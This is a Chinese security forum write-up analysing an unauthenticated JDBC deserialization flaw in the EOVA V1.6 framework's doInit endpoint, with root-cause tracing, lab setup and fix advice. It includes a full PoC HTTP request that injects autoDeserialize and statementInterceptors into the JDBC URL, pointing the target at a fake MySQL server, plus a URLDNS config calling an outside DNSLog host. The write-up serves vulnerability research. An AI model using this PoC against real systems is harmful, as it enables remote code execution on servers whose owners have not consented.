问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
EOVA未授权反序列化漏洞
漏洞分析
EOVA存在JDBC反序列化漏洞,由于JDBC连接mysql服务器的时候,参数完全可控,可传入恶意配置和恶意mysql服务器地址,导致反序列化漏洞。攻击者可利用该漏洞执行任意命令。
一、漏洞简介 ------ EOVA是一个基于JFinal开发平台的快速开发框架,旨在提供高效、易用的开发工具和组件,以简化开发过程。其设计理念是“简单才是高科技”,强调通过简化开发流程来提高效率,降低开发成本。 EOVA存在JDBC反序列化漏洞,由于JDBC连接mysql服务器的时候,参数完全可控,可传入恶意配置和恶意mysql服务器地址,导致反序列化漏洞。攻击者可利用该漏洞执行任意命令。 二、影响版本 ------ `Eova V1.6 三、漏洞原理分析 -------- 这块漏洞的成因是 JDBC 连接 mysql 服务器的时候,参数完全可控,可传入恶意配置和恶意 mysql 服务器地址,导致反序列化漏洞。 从 `gitee` 看到有师傅提了漏洞在`doInit` 接口 ![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-71dbfe2d11aa7c724ec0d7f90f2b94a42fd25c25.png) 从代码中可以找到他的实现类 `eova-1.6-beta5.jar! com.eova.core.IndexController#doInit` ![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-773e40e50a1868e91246f1998b971c016807bd22.png) 很明显可以看到获取请求中的一些参数,然后把拼接到 `local_url` 变量 然后跟进 `JdbcUtil.initConnection` 函数,这函数作用就是获取 MySQL 驱动建立和数据库的连接 ![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-65ba0a03f3b6ac86799d46c8005e58ada94e7ecd.png) 我们可以调试一下,在 `doInit` 函数打上断点,发起请求 ![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-d3337d4568179aa8b16521e5c6021ec8215578ea.png) 可以看到和我们分析的一样,这块需要注意的 `poc` 中的 `&` 需要 `url` 编码,在最后可以通过 `#`来注释后边的内容 ![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-cf81e82cae8d5f8578081807883f45a7d65e348a.png) 之后再来分析一下鉴权,这块使用的是 `JFinal` 这个国产框架 从拦截器中我们看到回去匹配 `excludes` 中的接口直接放行 ![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-be40cd85cdc0cc12e6718286bfa1ecbfd373556e.png) 然后 `doInit` 这个接口就在其中 ![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-91c049a38db40e6ad0ea83337c01cd2026a74032.png) 四、环境搭建 ------ 1、下载源码 ```php https://gitee.com/eova/eova/repository/archive/V1.6-beta5.zip ``` 2、建库 ```php sql\\mysql\\demo.sql+eova.sql 分别创建demo和eova两个库,DB编码UTF-8 ``` ![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-d5008a64a3b48fe075ce92bb6d6f05f1a04183a6.png) 3、修改配置 ```php src\\main\\resources\\default\\jdbc.config 修改JDBC配置 ``` ![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-7f410d8c49591cc28148a6aa62eccaa221c4cab3.png) 4、使用 `Maven` 加载其所需的依赖 ![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-3b36137069609e3ef85c0328f1f2ae70075ba80a.png) 5、Windows 操作系统双击 Maven-Windows-Run-Eova. Bat ![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-2ff8432f4ed876dc2af069877acb9e8c515a5eed.png) 6、获取秘钥 ![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-7c5b48310e3c568d640eb320dcd6d45179543ddb.png) ![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-c87b56df565e2460337a4964eca392fd6fafc872.png) 五、漏洞复现 ------ 使用工具:[https://github.com/fnmsd/MySQL\_Fake\_Server](https://github.com/fnmsd/MySQL_Fake_Server) `Yakit` 生成一个域名 ![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-008d5e188d91e899497694c1db03b2fa01d9fcbe.png) 修改配置文件 ```php "yso":{ "URLDNS":\["URLDNS","http://ryzyfacocf.dgrh3.cn"\] } ``` 启动脚本 ![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-8ab5ff76b52a9aafce63bd3c6d30fca68696163f.png) POC ```php POST /doInit HTTP/1.1 Host: Sec-Fetch-Dest: document Cache-Control: max-age=0 Sec-Fetch-User: ?1 Sec-Fetch-Site: none sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Language: zh-CN,zh;q=0.9 Sec-Fetch-Mode: navigate Cookie: JSESSIONID=1diwaoe2lud2k1w5bzj9gy0r9v; \_jfinal\_captcha=ec1807bb391d443f9730b7b18384157a sec-ch-ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br, zstd Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded ip=127.0.0.1:3333%2Ftest%3FautoDeserialize=true%26statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor%26user=URLDNS%26Yu9=Yu9%23&port=&username=root&password=123456 ``` 发送之后 ![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-8d57301d1cd34cdaf421f49018ba77626f8724a9.png) ![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-3bdedadd6e718c86d8f9d269068fcd9512866030.png) 六、总结 ---- 漏洞的成因就是因为 `JDBC` 的 `url` 可控,修复建议更新 `jdbc` 驱动或新增 `jdbc` `url` 参数黑名单!
发表于 2024-09-02 09:36:02
阅读 ( 8951 )
分类:
CMS
2 推荐
收藏
0 条评论
请先
登录
后评论
Yu9
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!